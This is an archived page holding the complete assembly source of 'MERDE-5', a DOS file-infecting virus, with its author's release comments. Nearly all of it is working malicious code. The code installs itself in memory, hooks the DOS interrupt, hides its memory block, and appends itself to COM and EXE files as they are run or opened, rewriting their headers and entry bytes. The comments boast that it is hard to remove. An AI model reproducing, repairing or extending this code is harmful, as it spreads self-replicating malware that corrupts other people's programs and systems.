home *** CD-ROM | disk | FTP | other *** search
- ; Okay, here is my newest version.. It now
-
- ; offers EXE infection. I messed up command.com
-
- ; compatibility so this version won't infect it.
-
- ; Also, this version might be a little shakey,
-
- ; but it should work okay with most setups
-
- ; (I'm not professional yet, so screw 'em
-
- ; if this hangs!)..
-
- ; This will be the last time I release code for
-
- ; my virii. Thanks to firststrike, and anyone else
-
- ; who has given me tips.....
-
- ; Be careful not to get this, it is kinda hard to get rid
-
- ; of (it would be REALLY hard to get rid of if it infected
-
- ;command.com- I will have to fix that (along with the TERRIBLE
-
- ; inefficiency in my interrupt handler (the loader is OKAY, but
-
- ; My_21 is just kind of a jumble of code thrown together for now.
-
- ; If you want to vaccinate your system, and you know a little about
-
- ; assembler, it isn't that hard. (I gave the come version to
-
- ; myself about 3 times). Just take notice of my use of interrupt
-
- ; 71...(This will be changed in future versions, for obvious reasons).
-
- ; MERDE-5 The merde virus version 5.0- loki
-
-
-
-
-
- compare_val equ 850
-
- interrupt equ 21h
-
- Code_seg Segment Byte
-
- Assume DS:Code_seg, CS:Code_seg
-
- ORG 100h
-
-
-
- start: call get_ip
-
-
-
- exe_or_com:
-
- dw 'CO'
-
- get_ip:
-
- pop di
-
- sub di,3
-
- cmp word ptr cs:[di+3],'EX'
-
- jne com_memory_loader
-
- jmp exe_memory_loader
-
-
-
- ;Load memory from within an EXE file..
-
- ;------------------------------------------------------------------------------
-
- exe_memory_loader:
-
- call check_for_int_71
-
- jc go
-
- call get_memory ;es=my_segment
-
- jnc aaaa
-
- jmp exit_exe
-
- aaaa:
-
- call hide_memory
-
- call set_int_71
-
- call save_21
-
- push ds
-
- call move_all_code
-
- pop ds
-
- mov bx,es
-
- call set_21
-
- go: jmp exit_exe
-
-
-
- ;------------------------------------------------------------------------------
-
- ;******************************************************************************
-
- ;------------------------------------------------------------------------------
-
- ;load memory from a COM file...
-
-
-
- com_memory_loader:
-
- call restore_com
-
- call check_for_int_71
-
- jc go_1
-
- call get_memory
-
- jnc bbbb
-
- jmp exit_com
-
-
-
- bbbb: call hide_memory
-
-
-
- reset_di:
-
- call set_int_71
-
- call save_21
-
- call move_all_code
-
- mov bx,es
-
- call set_21
-
- go_1: jmp exit_com
-
-
-
- ;------------------------------------------------------------------------------
-
- ;Returns ES with my segment (or an error)
-
- ;------------------------------------------------------------------------------
-
- get_memory:
-
- int 12h
-
- mov bx,cs
-
- mov cx,1024
-
- mul cx
-
- clc
-
- mov cx,600h ;Amount of needed memory
-
- sub ax,cx
-
- sbb dx,0000 ;dx:ax=where we want this mem to end!
-
- mov bx,dx
-
- mov bp,ax ;save this...
-
- mov cx,cs
-
- mov ax,0010h
-
- mul cx
-
- clc
-
- mov cx,di
-
- add cx,offset ending-100h
-
- add ax,cx
-
- adc dx,0000
-
- clc
-
- sub bp,ax
-
- sbb bx,dx
-
- clc
-
- mov ax,bp
-
- mov dx,bx
-
- mov cx,0010h
-
- div cx ;dx:ax=memory above this-divide it by 16
-
- mov bx,ax
-
- mov ah,4ah
-
- int 21h
-
- jc get_memory_error
-
- mov bx,60
-
- mov ah,48h
-
- int 21h
-
- jc get_memory_error
-
- mov es,ax
-
- clc
-
- ret
-
- get_memory_error:
-
- stc
-
- ret
-
- ;------------------------------------------------------------------------------
-
- ;Moves all code + PSP to my secretive little segment-destroys DS (in EXE files)
-
- ;------------------------------------------------------------------------------
-
- move_all_code:
-
- ;move PSP**************************
-
- push di
-
- xor si,si
-
- xor di,di
-
- mov cx,100h
-
- rep movsb
-
- ;**********************************
-
- ;move my code**********************
-
- pop si
-
- push si
-
- push cs
-
- pop ds
-
- mov cx,offset ending-100h
-
- rep movsb
-
- pop di
-
- ret
-
- ;**********************************
-
- ;------------------------------------------------------------------------------
-
- ;------------------------------------------------------------------------------
-
- ;saves interrupt 21 in cs:[int_21_saveo]
-
- save_21:
-
- push es
-
- xor ax,ax
-
- mov es,ax
-
- mov ax,es:[interrupt*4]
-
- mov bx,es:[interrupt*4+2]
-
- mov cs:[di+offset int_21_saveo-100h],ax
-
- mov cs:[di+offset int_21_saves-100h],bx
-
- pop es
-
- ret
-
-
-
- ;-----------------------------------------------------------------------------
-
- ;sets interrupt 21 to bx:offset of my_21
-
- set_21:
-
- push es
-
- xor ax,ax
-
- mov es,ax
-
- mov es:[interrupt*4],offset my_21
-
- mov es:[interrupt*4+2],bx
-
- pop es
-
- ret
-
- ;-----------------------------------------------------------------------------
-
- ;-----------------------------------------------------------------------------
-
- ;Restores a COM file
-
- restore_com:
-
- push di
-
- mov si,di
-
- add si,offset three_bytes-100h
-
- mov di,0100h
-
- mov cx,3
-
- rep movsb
-
- pop di
-
- ret
-
- ;------------------------------------------------------------------------------
-
- ;Hides my segment's (es) size and owner
-
- hide_memory:
-
- push ds
-
- xor cx,cx
-
- mov ds,cx
-
- mov cx,ds:[2eh*4+2]
-
- pop ds
-
- push ds
-
- mov dx,es
-
- dec dx
-
- mov ds,dx
-
- mov ds:[1],cx ;maybe later set to DOS seg
-
- mov byte ptr ds:[0],'Z'
-
- mov word ptr ds:[3],0000
-
- mov es:[16h],cx
-
- mov es:[0ah],cx
-
- mov es:[0ch],cx
-
- pop ds
-
- ret
-
- ;------------------------------------------------------------------------------
-
-
-
- ;check_for_int 71- My little multiplex interrupt
-
- check_for_int_71:
-
- int 71h
-
- cmp ax,9999h
-
- je set_c
-
- clc
-
- ret
-
- set_c:
-
- stc
-
- ret
-
- ;------------------------------------------------------------------------------
-
-
-
- ;Set interrupt 71:
-
- set_int_71:
-
- push ds
-
- xor ax,ax
-
- mov ds,ax
-
- mov ds:[71h*4+2],es
-
- mov ds:[71h*4],offset my_71
-
- pop ds
-
- ret
-
-
-
-
-
- exit_com:
-
- xor cx,cx
-
- xor dx,dx
-
- xor ax,ax
-
- xor bx,bx
-
- xor si,si
-
- xor di,di
-
- mov ax,100h
-
- jmp ax
-
-
-
- exit_exe:
-
- push ds
-
- pop es
-
- mov ax,es
-
- add ax,10h
-
- add word ptr cs:[di+offset orig_cs-100h],ax
-
- cli
-
- add ax,word ptr cs:[di+offset orig_ss-100h]
-
- mov ss,ax
-
- mov sp,word ptr cs:[di+offset orig_sp-100h]
-
- sti
-
- jmp dword ptr cs:[di+offset orig_ip-100h]
-
-
-
- ;------------------------------------------------------------------
-
- my_21:
-
- cmp ah,4bh
-
- je okay_go
-
- cmp ah,0fh
-
- je okay_go
-
- cmp ah,3dh
-
- je okay_go
-
- cmp ah,43h
-
- je okay_go
-
- jmp continue_21
-
- okay_go:
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- push es
-
- push di
-
- push si
-
- push bp
-
- push es
-
- push ds
-
- check_for_com:
-
- xor si,si
-
- mov bx,dx
-
- looper:
-
- cmp word ptr ds:[bx+si],'c.'
-
- je check_om
-
- cmp word ptr ds:[bx+si],'C.'
-
- je check_om
-
- cmp word ptr ds:[bx+si],'e.'
-
- je check_ex
-
- cmp word ptr ds:[bx+si],'E.'
-
- je check_ex
-
- inc si
-
- cmp si,40
-
- jne looper
-
- jmp give_up1
-
- check_om:
-
- cmp word ptr ds:[bx+si+2],'mo'
-
- jne bb
-
- mov cs:[com_or_exe],0
-
- jmp check_for_infection
-
- bb: cmp word ptr ds:[bx+si+2],'MO'
-
- jne cc
-
- mov cs:[com_or_exe],0
-
- jmp check_for_infection
-
- cc: jmp give_up1
-
- check_ex:
-
- cmp word ptr ds:[bx+si+2],'ex'
-
- jne label1
-
- mov cs:[com_or_exe],1234h
-
- jmp okay_do
-
- label1:
-
- cmp word ptr ds:[bx+si+2],'EX' ;FIX ME!!!!!!!
-
- je cccc ;forget exe for now..
-
- jmp give_up1
-
- cccc:
-
- mov cs:[com_or_exe],1234h
-
- jmp okay_do
-
- check_for_infection:
-
- cmp word ptr [bx+si-2],'DN'
-
- jne okey_k
-
- jmp give_up1
-
- okey_k:
-
- cmp word ptr [bx+si-2],'DN'
-
- jne okay_do
-
- jmp give_up1
-
- okay_do:
-
- mov cs:[storage_1],ds
-
- mov cs:[storage_2],dx
-
- mov ah,50h ;set PSP to ours
-
- push cs
-
- pop bx
-
- call dos_21
-
- mov ah,43h
-
- xor al,al
-
- call dos_21
-
- jnc okay9
-
- jmp give_up
-
- okay9: mov cs:[attrib],cx
-
- mov ah,43h
-
- mov al,1
-
- xor cx,cx
-
- call dos_21
-
- mov ah,3dh
-
- mov al,2
-
- call dos_21
-
- jnc okay10
-
- jmp give_up
-
- okay10: mov cs:[handle],ax
-
- mov bx,ax
-
- mov ah,57h
-
- xor al,al
-
- call dos_21
-
- mov cs:[date],dx
-
- mov cs:[time],cx
-
- mov ax,4202h
-
- xor dx,dx
-
- xor cx,cx
-
- call dos_21
-
- jnc okay11
-
- jmp give_up
-
- okay11: mov cs:[file_size],ax
-
- cmp cs:[com_or_exe],1234h
-
- jne okey_p
-
- sub ax,compare_val
-
- sbb dx,0000
-
- mov cx,dx
-
- mov dx,ax
-
- jmp contin2
-
- okey_p: xor cx,cx
-
- cmp ax,63000
-
- jb contin1
-
- call reset_all
-
- jmp give_up
-
- contin1:
-
- cmp ax,600
-
- jnb continx
-
- call reset_all
-
- jmp give_up
-
- continx:
-
- sub ax,compare_val
-
- mov dx,ax
-
- xor cx,cx
-
- contin2:
-
- mov ax,4200h
-
- mov bx,cs:[handle]
-
- call dos_21
-
- mov ah,3fh
-
- push cs
-
- pop ds
-
- mov dx,offset buffer
-
- mov cx,2
-
- call dos_21
-
- mov ax,word ptr cs:[buffer]
-
- mov bx,word ptr cs:[offset dont_write-compare_val]
-
- cmp ax,bx
-
- jne dddd
-
- jmp give_up
-
- dddd:
-
- cmp cs:[com_or_exe],1234h
-
- je infect_exe
-
- jmp infect_com
-
-
-
- infect_exe:
-
- mov bx,cs:[handle]
-
- xor dx,dx
-
- xor cx,cx
-
- mov ax,4200h
-
- call dos_21
-
- push cs
-
- pop ds
-
- mov ah,3fh
-
- mov cx,18h
-
- mov dx,offset header
-
- call dos_21
-
- cmp word ptr [header+8],1000h
-
- jb okayh
-
- call reset_all
-
- jmp give_up
-
- okayh: mov ax,word ptr [header+16h]
-
- mov orig_cs,ax
-
- mov ax,word ptr [header+14h]
-
- mov orig_ip,ax
-
- mov ax,word ptr [header+0eh]
-
- mov orig_ss,ax
-
- mov ax,word ptr [header+10h]
-
- mov orig_sp,ax
-
- mov ax,4202h
-
- mov bx,handle
-
- xor cx,cx
-
- xor dx,dx
-
- call dos_21
-
- mov word ptr ds:[exe_or_com],'EX'
-
- mov high_size,dx
-
- mov low_size,ax
-
- mov real_hsize,dx
-
- mov real_lsize,ax
-
- mov ax,word ptr [header+8]
-
- mov cx,10h
-
- mul cx
-
- clc
-
- sub low_size,ax ;high_size:low_size=load size
-
- sbb high_size,dx
-
- clc
-
- mov dx,high_size
-
- mov ax,low_size
-
- mov cx,0010h
-
- div cx
-
- cmp dx,0
-
- je okay
-
- mov cx,16
-
- sub cx,dx
-
- mov bp,cx
-
- add real_lsize,bp
-
- adc real_hsize,0000
-
- clc
-
- stc
-
- adc ax,0000
-
- jmp okay1
-
- okay: xor bp,bp
-
- okay1: xor dx,dx
-
- mov word ptr [header+16h],ax
-
- ;add to dx?
-
- mov word ptr [header+14h],dx
-
- mov word ptr [header+0eh],ax
-
- mov dx,0fffeh
-
- mov word ptr [header+10h],dx
-
- mov dx,real_hsize
-
- mov ax,real_lsize
-
- add ax,offset ending-100h+1
-
- adc dx,0000
-
- push ax
-
- mov cl,9
-
- shr ax,cl
-
- ror dx,cl
-
- stc
-
- adc dx,ax
-
- pop ax
-
- and ah,1
-
- mov word ptr [header+4],dx
-
- mov word ptr [header+2],ax
-
- mov ah,40h
-
- mov bx,handle
-
- mov cx,offset dont_write-100h
-
- add cx,bp
-
- mov dx,100h
-
- sub dx,bp
-
- call dos_21
-
- mov ax,4200h
-
- xor cx,cx
-
- xor dx,dx
-
- mov bx,handle
-
- call dos_21
-
- mov ah,40h
-
- mov bx,handle
-
- mov cx,18h
-
- mov dx,offset header
-
- call dos_21
-
- call reset_all
-
- jmp give_up
-
-
-
- infect_com:
-
- xor cx,cx
-
- xor dx,dx
-
- mov bx,cs:[handle]
-
- mov ax,4200h
-
- call dos_21
-
- mov ah,3fh
-
- mov cx,3
-
- push cs
-
- pop ds
-
- mov dx,offset three_bytes
-
- call dos_21
-
- mov ax,cs:[file_size]
-
- sub ax,3
-
- mov word ptr cs:[jumper+1],ax
-
- mov word ptr cs:[exe_or_com],'CO'
-
- call write_to_end
-
- xor cx,cx
-
- xor dx,dx
-
- mov ax,4200h
-
- mov bx,cs:[handle]
-
- call dos_21
-
- mov dx,offset jumper
-
- mov ah,40h
-
- mov cx,3
-
- call dos_21
-
- call reset_all
-
- give_up:
-
- mov ah,50h
-
- mov bx,cs:[storage_1]
-
- call dos_21
-
- give_up1:
-
- pop ds
-
- pop es
-
- pop bp
-
- pop si
-
- pop di
-
- pop es
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- jmp continue_21
-
- continue_21:
-
- jmp dword ptr cs:[int_21_saveo]
-
- dos_21:
-
- pushf
-
- call dword ptr cs:[int_21_saveo]
-
- ret
-
-
-
- reset_all:
-
- mov bx,cs:[handle]
-
- mov cx,cs:[time]
-
- mov dx,cs:[date]
-
- mov ax,5701h
-
- call dos_21
-
- mov ah,3eh
-
- mov bx,cs:[handle]
-
- call dos_21
-
- mov ah,43h
-
- mov al,1
-
- mov cx,cs:[attrib]
-
- mov ds,cs:[storage_1]
-
- mov dx,cs:[storage_2]
-
- call dos_21
-
- ret
-
-
-
- write_to_end:
-
-
-
- mov ax,4202h
-
- xor dx,dx
-
- xor cx,cx
-
- mov bx,cs:[handle]
-
- call dos_21
-
- mov ah,40h
-
- mov cx,offset dont_write-100h
-
- push cs
-
- pop ds
-
- mov dx,0100h
-
- call dos_21
-
- ret
-
- my_71:
-
- mov ax,9999h
-
- iret
-
-
-
-
-
- jumper:
-
- db 0e9h,00,00
-
- storage_1 dw 0000
-
- storage_2 dw 0000
-
- int_21_saveo dw 0000
-
- int_21_saves dw 0000
-
- three_bytes: db 0cdh,20h,90h
-
- db 'Loki'
-
- orig_ip dw 0000
-
- orig_cs dw 0000
-
- orig_ss dw 0000
-
- orig_sp dw 0000
-
- dont_write:
-
-
-
- header:
-
- db 24 dup(00)
-
- com_or_exe dw 1234h
-
- handle dw 0000
-
- file_size dw 0000
-
- attrib dw 0000
-
- date dw 0000
-
- time dw 0000
-
- buffer: dw 0000
-
- loader_high dw 0000
-
- loader_low dw 0000
-
- header_cs dw 0000
-
- header_ip dw 0000
-
- low_size dw 0000
-
- high_size dw 0000
-
- real_hsize dw 0000
-
- real_lsize dw 0000
-
- ending:
-
- Code_seg ENDS
-
- END start